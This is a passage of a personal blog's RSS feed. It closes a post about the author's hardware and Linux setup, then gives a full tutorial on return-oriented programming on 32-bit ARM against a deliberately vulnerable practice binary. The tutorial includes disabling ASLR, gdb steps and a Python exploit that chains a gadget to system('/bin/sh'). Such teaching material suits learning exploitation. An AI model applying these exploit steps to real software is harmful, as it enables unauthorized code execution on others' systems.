531I’m also a proud owner of a &lt;a href=&quot;https://en.wikipedia.org/wiki/Nexus_5&quot;&gt;Nexus 5&lt;/a&gt;, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.&lt;/p&gt;
532
533&lt;p&gt;My watch is a &lt;a href=&quot;https://www.samsung.com/in/wearables/gear-s3-frontier-r760/&quot;&gt;Samsung Gear S3 Frontier&lt;/a&gt;. Tizen is definitely better than Android Wear.&lt;/p&gt;
534
535&lt;p&gt;My keyboard, although not with me in college, is a very old &lt;a href=&quot;https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO&quot;&gt;Dell SK-8110&lt;/a&gt;. 
536For the little bit of gaming that I do, I use a &lt;a href=&quot;https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html&quot;&gt;HP m150&lt;/a&gt; gaming mouse. It’s the perfect size (and color).&lt;/p&gt;
537
538&lt;p&gt;For my music, I use the &lt;a href=&quot;https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html&quot;&gt;Bose SoundLink II&lt;/a&gt;. 
539Great pair of headphones, although the ear cups need replacing.&lt;/p&gt;
540
541&lt;h3 id=&quot;and-the-software&quot;&gt;And the software&lt;/h3&gt;
542
543&lt;p&gt;&lt;del&gt;My distro of choice for the past ~1 year has been &lt;a href=&quot;https://elementary.io&quot;&gt;elementary OS&lt;/a&gt;. I used to be an Arch Linux elitist, complete with an esoteric
544window manager, all riced. I now use whatever JustWorks™.&lt;/del&gt;&lt;/p&gt;
545
546&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: As of June 2019, I&amp;#8217;ve switched over to a vanilla Debian 9 Stretch install,
547running &lt;a href=&quot;https://i3wm.org&quot;&gt;i3&lt;/a&gt; as my window manager. If you want, you can dig through my configs at my &lt;a href=&quot;https://github.com/icyphox/dotfiles&quot;&gt;dotfiles&lt;/a&gt; repo. &lt;/p&gt;
548
549&lt;p&gt;Here’s a (riced) screenshot of my desktop. &lt;/p&gt;
550
551&lt;p&gt;&lt;img src=&quot;https://i.redd.it/jk574gworp331.png&quot; alt=&quot;scrot&quot; /&gt;&lt;/p&gt;
552
553&lt;p&gt;Most of my work is done in either the browser, or the terminal.
554My shell is pure &lt;a href=&quot;http://www.zsh.org&quot;&gt;zsh&lt;/a&gt;, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
555a framework. It’s useless bloat. The prompt itself is generated using a framework I built in &lt;a href=&quot;https://nim-lang.org&quot;&gt;Nim&lt;/a&gt; — &lt;a href=&quot;https://github.com/icyphox/nicy&quot;&gt;nicy&lt;/a&gt;.
556My primary text editor is &lt;a href=&quot;https://neovim.org&quot;&gt;nvim&lt;/a&gt;. Again, all configs in my dotfiles repo linked above.
557I manage all my passwords using &lt;a href=&quot;https://passwordstore.org&quot;&gt;pass(1)&lt;/a&gt;, and I use &lt;a href=&quot;https://github.com/carnager/rofi-pass&quot;&gt;rofi-pass&lt;/a&gt; to access them via &lt;code&gt;rofi&lt;/code&gt;.&lt;/p&gt;
558
559&lt;p&gt;Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
560clean and a single command to drop into a Kali shell.&lt;/p&gt;
561
562&lt;p&gt;I use a DigitalOcean droplet (BLR1) as a public filehost, found at &lt;a href=&quot;https://x.icyphox.sh&quot;&gt;x.icyphox.sh&lt;/a&gt;. The UI is the wonderful &lt;a href=&quot;https://github.com/zeit/serve&quot;&gt;serve&lt;/a&gt;, by &lt;a href=&quot;https://zeit.co&quot;&gt;ZEIT&lt;/a&gt;.
563The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. &lt;/p&gt;
564
565&lt;p&gt;I plan on converting my desktop back at home into a homeserver setup. Soon™.&lt;/p&gt;
566</description>
567      <pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate>
568      <guid>https://icyphox.sh/blog/my-setup/</guid>
569</item>
570<item>
571      <title>Return Oriented Programming on ARM (32-bit)</title>
572	  <link>https://icyphox.sh/blog/rop-on-arm/</link>
573      <description>&lt;h1 id=&quot;return-oriented-programming-on-arm-32-bit&quot;&gt;Return Oriented Programming on ARM (32-bit)&lt;/h1&gt;
574
575
576&lt;h2 id=&quot;making-stack-based-exploitation-great-again&quot;&gt;Making stack-based exploitation great again!&lt;/h2&gt;
577
578&lt;p&gt;Before we start &lt;em&gt;anything&lt;/em&gt;, you’re expected to know the basics of ARM
579assembly to follow along. I highly recommend
580&lt;a href=&quot;https://twitter.com/fox0x01&quot;&gt;Azeria’s&lt;/a&gt; series on &lt;a href=&quot;https://azeria-labs.com/writing-arm-assembly-part-1/&quot;&gt;ARM Assembly
581Basics&lt;/a&gt;. Once you’re
582comfortable with it, proceed with the next bit — environment setup.&lt;/p&gt;
583
584&lt;h3 id=&quot;setup&quot;&gt;Setup&lt;/h3&gt;
585
586&lt;p&gt;Since we’re working with the ARM architecture, there are two options to go
587forth with: &lt;/p&gt;
588
589&lt;ol&gt;
590&lt;li&gt;Emulate — head over to &lt;a href=&quot;https://www.qemu.org/download/&quot;&gt;qemu.org/download&lt;/a&gt; and install QEMU. 
591And then download and extract the ARMv6 Debian Stretch image from one of the links &lt;a href=&quot;https://blahcat.github.io/qemu/&quot;&gt;here&lt;/a&gt;.
592The scripts found inside should be self-explanatory.&lt;/li&gt;
593&lt;li&gt;Use actual ARM hardware, like an RPi.&lt;/li&gt;
594&lt;/ol&gt;
595
596&lt;p&gt;For debugging and disassembling, we’ll be using plain old &lt;code&gt;gdb&lt;/code&gt;, but you
597may use &lt;code&gt;radare2&lt;/code&gt;, IDA or anything else, really. All of which can be
598trivially installed.&lt;/p&gt;
599
600&lt;p&gt;And for the sake of simplicity, disable ASLR:&lt;/p&gt;
601
602&lt;pre&gt;&lt;code&gt;$ echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space
603&lt;/code&gt;&lt;/pre&gt;
604
605&lt;p&gt;Finally, the binary we’ll be using in this exercise is &lt;a href=&quot;https://twitter.com/bellis1000&quot;&gt;Billy Ellis’&lt;/a&gt;
606&lt;a href=&quot;/static/files/roplevel2.c&quot;&gt;roplevel2&lt;/a&gt;. &lt;/p&gt;
607
608&lt;p&gt;Compile it:&lt;/p&gt;
609
610&lt;pre&gt;&lt;code&gt;$ gcc roplevel2.c -o rop2
611&lt;/code&gt;&lt;/pre&gt;
612
613&lt;p&gt;With that out of the way, here’s a quick run down of what ROP actually is.&lt;/p&gt;
614
615&lt;h3 id=&quot;a-primer-on-rop&quot;&gt;A primer on ROP&lt;/h3&gt;
616
617&lt;p&gt;ROP or Return Oriented Programming is a modern exploitation technique that’s
618used to bypass protections like the &lt;strong&gt;NX bit&lt;/strong&gt; (no-execute bit) and &lt;strong&gt;code sigining&lt;/strong&gt;.
619In essence, no code in the binary is actually modified and the entire exploit
620is crafted out of pre-existing artifacts within the binary, known as &lt;strong&gt;gadgets&lt;/strong&gt;.&lt;/p&gt;
621
622&lt;p&gt;A gadget is essentially a small sequence of code (instructions), ending with
623a &lt;code&gt;ret&lt;/code&gt;, or a return instruction. In our case, since we’re dealing with ARM
624code, there is no &lt;code&gt;ret&lt;/code&gt; instruction but rather a &lt;code&gt;pop {pc}&lt;/code&gt; or a &lt;code&gt;bx lr&lt;/code&gt;.
625These gadgets are &lt;em&gt;chained&lt;/em&gt; together by jumping (returning) from one onto the other
626to form what’s called as a &lt;strong&gt;ropchain&lt;/strong&gt;. At the end of a ropchain,
627there’s generally a call to &lt;code&gt;system()&lt;/code&gt;, to acheive code execution.&lt;/p&gt;
628
629&lt;p&gt;In practice, the process of executing a ropchain is something like this:&lt;/p&gt;
630
631&lt;ul&gt;
632&lt;li&gt;confirm the existence of a stack-based buffer overflow&lt;/li&gt;
633&lt;li&gt;identify the offset at which the instruction pointer gets overwritten&lt;/li&gt;
634&lt;li&gt;locate the addresses of the gadgets you wish to use&lt;/li&gt;
635&lt;li&gt;craft your input keeping in mind the stack’s layout, and chain the addresses
636of your gadgets&lt;/li&gt;
637&lt;/ul&gt;
638
639&lt;p&gt;&lt;a href=&quot;https://twitter.com/LiveOverflow&quot;&gt;LiveOverflow&lt;/a&gt; has a &lt;a href=&quot;https://www.youtube.com/watch?v=zaQVNM3or7k&amp;amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;amp;index=46&amp;amp;t=0s&quot;&gt;beautiful video&lt;/a&gt; where he explains ROP using “weird machines”. 
640Check it out, it might be just what you needed for that “aha!” moment :)&lt;/p&gt;
641
642&lt;p&gt;Still don’t get it? Don’t fret, we’ll look at &lt;em&gt;actual&lt;/em&gt; exploit code in a bit and hopefully
643that should put things into perspective.&lt;/p&gt;
644
645&lt;h3 id=&quot;exploring-our-binary&quot;&gt;Exploring our binary&lt;/h3&gt;
646
647&lt;p&gt;Start by running it, and entering any arbitrary string. On entering a fairly
648large string, say, “A” × 20, we
649see a segmentation fault occur.&lt;/p&gt;
650
651&lt;p&gt;&lt;img src=&quot;/static/img/string_segfault.png&quot; alt=&quot;string and segfault&quot; /&gt;&lt;/p&gt;
652
653&lt;p&gt;Now, open it up in &lt;code&gt;gdb&lt;/code&gt; and look at the functions inside it.&lt;/p&gt;
654
655&lt;p&gt;&lt;img src=&quot;/static/img/gdb_functions.png&quot; alt=&quot;gdb functions&quot; /&gt;&lt;/p&gt;
656
657&lt;p&gt;There are three functions that are of importance here, &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;winner&lt;/code&gt; and 
658&lt;code&gt;gadget&lt;/code&gt;. Disassembling the &lt;code&gt;main&lt;/code&gt; function:&lt;/p&gt;
659
660&lt;p&gt;&lt;img src=&quot;/static/img/gdb_main_disas.png&quot; alt=&quot;gdb main disassembly&quot; /&gt;&lt;/p&gt;
661
662&lt;p&gt;We see a buffer of 16 bytes being created (&lt;code&gt;sub sp, sp, #16&lt;/code&gt;), and some calls
663to &lt;code&gt;puts()&lt;/code&gt;/&lt;code&gt;printf()&lt;/code&gt; and &lt;code&gt;scanf()&lt;/code&gt;. Looks like &lt;code&gt;winner&lt;/code&gt; and &lt;code&gt;gadget&lt;/code&gt; are 
664never actually called.&lt;/p&gt;
665
666&lt;p&gt;Disassembling the &lt;code&gt;gadget&lt;/code&gt; function:&lt;/p&gt;
667
668&lt;p&gt;&lt;img src=&quot;/static/img/gdb_gadget_disas.png&quot; alt=&quot;gdb gadget disassembly&quot; /&gt;&lt;/p&gt;
669
670&lt;p&gt;This is fairly simple, the stack is being initialized by &lt;code&gt;push&lt;/code&gt;ing &lt;code&gt;{r11}&lt;/code&gt;,
671which is also the frame pointer (&lt;code&gt;fp&lt;/code&gt;). What’s interesting is the &lt;code&gt;pop {r0, pc}&lt;/code&gt;
672instruction in the middle. This is a &lt;strong&gt;gadget&lt;/strong&gt;.&lt;/p&gt;
673
674&lt;p&gt;We can use this to control what goes into &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;pc&lt;/code&gt;. Unlike in x86 where
675arguments to functions are passed on the stack, in ARM the registers &lt;code&gt;r0&lt;/code&gt; to &lt;code&gt;r3&lt;/code&gt;
676are used for this. So this gadget effectively allows us to pass arguments to
677functions using &lt;code&gt;r0&lt;/code&gt;, and subsequently jumping to them by passing its address
678in &lt;code&gt;pc&lt;/code&gt;. Neat.&lt;/p&gt;
679
680&lt;p&gt;Moving on to the disassembly of the &lt;code&gt;winner&lt;/code&gt; function:&lt;/p&gt;
681
682&lt;p&gt;&lt;img src=&quot;/static/img/gdb_disas_winner.png&quot; alt=&quot;gdb winner disassembly&quot; /&gt;&lt;/p&gt;
683
684&lt;p&gt;Here, we see a calls to &lt;code&gt;puts()&lt;/code&gt;, &lt;code&gt;system()&lt;/code&gt; and finally, &lt;code&gt;exit()&lt;/code&gt;.
685So our end goal here is to, quite obviously, execute code via the &lt;code&gt;system()&lt;/code&gt;
686function.&lt;/p&gt;
687
688&lt;p&gt;Now that we have an overview of what’s in the binary, let’s formulate a method
689of exploitation by messing around with inputs.&lt;/p&gt;
690
691&lt;h3 id=&quot;messing-around-with-inputs&quot;&gt;Messing around with inputs :^)&lt;/h3&gt;
692
693&lt;p&gt;Back to &lt;code&gt;gdb&lt;/code&gt;, hit &lt;code&gt;r&lt;/code&gt; to run and pass in a patterned input, like in the
694screenshot.&lt;/p&gt;
695
696&lt;p&gt;&lt;img src=&quot;/static/img/gdb_info_reg_segfault.png&quot; alt=&quot;gdb info reg post segfault&quot; /&gt;&lt;/p&gt;
697
698&lt;p&gt;We hit a segfault because of invalid memory at address &lt;code&gt;0x46464646&lt;/code&gt;. Notice
699the &lt;code&gt;pc&lt;/code&gt; has been overwritten with our input.
700So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.&lt;/p&gt;
701
702&lt;p&gt;Since we know the offset at which the &lt;code&gt;pc&lt;/code&gt; gets overwritten, we can now
703control program execution flow. Let’s try jumping to the &lt;code&gt;winner&lt;/code&gt; function.&lt;/p&gt;
704
705&lt;p&gt;Disassemble &lt;code&gt;winner&lt;/code&gt; again using &lt;code&gt;disas winner&lt;/code&gt; and note down the offset
706of the second instruction — &lt;code&gt;add r11, sp, #4&lt;/code&gt;. 
707For this, we’ll use Python to print our input string replacing &lt;code&gt;FFFF&lt;/code&gt; with
708the address of &lt;code&gt;winner&lt;/code&gt;. Note the endianness.&lt;/p&gt;
709
710&lt;pre&gt;&lt;code&gt;$ python -c &#x27;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#x27; | ./rop2
711&lt;/code&gt;&lt;/pre&gt;
712
713&lt;p&gt;&lt;img src=&quot;/static/img/python_winner_jump.png&quot; alt=&quot;jump to winner&quot; /&gt;&lt;/p&gt;
714
715&lt;p&gt;The reason we don’t jump to the first instruction is because we want to control the stack
716ourselves. If we allow &lt;code&gt;push {rll, lr}&lt;/code&gt; (first instruction) to occur, the program will &lt;code&gt;pop&lt;/code&gt;
717those out after &lt;code&gt;winner&lt;/code&gt; is done executing and we will no longer control 
718where it jumps to.&lt;/p&gt;
719
720&lt;p&gt;So that didn’t do much, just prints out a string “Nothing much here&amp;#8230;”. 
721But it &lt;em&gt;does&lt;/em&gt; however, contain &lt;code&gt;system()&lt;/code&gt;. Which somehow needs to be populated with an argument
722to do what we want (run a command, execute a shell, etc.).&lt;/p&gt;
723
724&lt;p&gt;To do that, we’ll follow a multi-step process: &lt;/p&gt;
725
726&lt;ol&gt;
727&lt;li&gt;Jump to the address of &lt;code&gt;gadget&lt;/code&gt;, again the 2nd instruction. This will &lt;code&gt;pop&lt;/code&gt; &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;pc&lt;/code&gt;.&lt;/li&gt;
728&lt;li&gt;Push our command to be executed, say “&lt;code&gt;/bin/sh&lt;/code&gt;” onto the stack. This will go into
729&lt;code&gt;r0&lt;/code&gt;.&lt;/li&gt;
730&lt;li&gt;Then, push the address of &lt;code&gt;system()&lt;/code&gt;. And this will go into &lt;code&gt;pc&lt;/code&gt;.&lt;/li&gt;
731&lt;/ol&gt;
732
733&lt;p&gt;The pseudo-code is something like this:&lt;/p&gt;
734
735&lt;pre&gt;&lt;code&gt;string = AAAABBBBCCCCDDDDEEEE
736gadget = # addr of gadget
737binsh  = # addr of /bin/sh
738system = # addr of system()
739
740print(string + gadget + binsh + system)
741&lt;/code&gt;&lt;/pre&gt;
742
743&lt;p&gt;Clean and mean.&lt;/p&gt;
744
745&lt;h3 id=&quot;the-exploit&quot;&gt;The exploit&lt;/h3&gt;
746
747&lt;p&gt;To write the exploit, we’ll use Python and the absolute godsend of a library — &lt;code&gt;struct&lt;/code&gt;.
748It allows us to pack the bytes of addresses to the endianness of our choice.
749It probably does a lot more, but who cares.&lt;/p&gt;
750
751&lt;p&gt;Let’s start by fetching the address of &lt;code&gt;/bin/sh&lt;/code&gt;. In &lt;code&gt;gdb&lt;/code&gt;, set a breakpoint
752at &lt;code&gt;main&lt;/code&gt;, hit &lt;code&gt;r&lt;/code&gt; to run, and search the entire address space for the string “&lt;code&gt;/bin/sh&lt;/code&gt;”:&lt;/p&gt;
753
754&lt;pre&gt;&lt;code&gt;(gdb) find &amp;amp;system, +9999999, &quot;/bin/sh&quot;
755&lt;/code&gt;&lt;/pre&gt;
756
757&lt;p&gt;&lt;img src=&quot;/static/img/gdb_find_binsh.png&quot; alt=&quot;gdb finding /bin/sh&quot; /&gt;&lt;/p&gt;
758
759&lt;p&gt;One hit at &lt;code&gt;0xb6f85588&lt;/code&gt;. The addresses of &lt;code&gt;gadget&lt;/code&gt; and &lt;code&gt;system()&lt;/code&gt; can be
760found from the disassmblies from earlier. Here’s the final exploit code:&lt;/p&gt;
761
762&lt;pre&gt;&lt;code&gt;import struct
763
764binsh = struct.pack(&quot;I&quot;, 0xb6f85588)
765string = &quot;AAAABBBBCCCCDDDDEEEE&quot;
766gadget = struct.pack(&quot;I&quot;, 0x00010550)
767system = struct.pack(&quot;I&quot;, 0x00010538)
768
769print(string + gadget + binsh + system)
770
771&lt;/code&gt;&lt;/pre&gt;
772
773&lt;p&gt;Honestly, not too far off from our pseudo-code :)&lt;/p&gt;
774
775&lt;p&gt;Let’s see it in action:&lt;/p&gt;
776
777&lt;p&gt;&lt;img src=&quot;/static/img/the_shell.png&quot; alt=&quot;the shell!&quot; /&gt;&lt;/p&gt;
778
779&lt;p&gt;Notice that it doesn’t work the first time, and this is because &lt;code&gt;/bin/sh&lt;/code&gt; terminates
780when the pipe closes, since there’s no input coming in from STDIN.
781To get around this, we use &lt;code&gt;cat(1)&lt;/code&gt; which allows us to relay input through it
782to the shell. Nifty trick.&lt;/p&gt;
783
784&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
785
786&lt;p&gt;This was a fairly basic challenge, with everything laid out conveniently. 
787Actual ropchaining is a little more involved, with a lot more gadgets to be chained
788to acheive code execution.&lt;/p&gt;
789
790&lt;p&gt;Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.&lt;/p&gt;
791</description>
792      <pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate>
793      <guid>https://icyphox.sh/blog/rop-on-arm/</guid>
794</item>
795
796    </channel>
797</rss>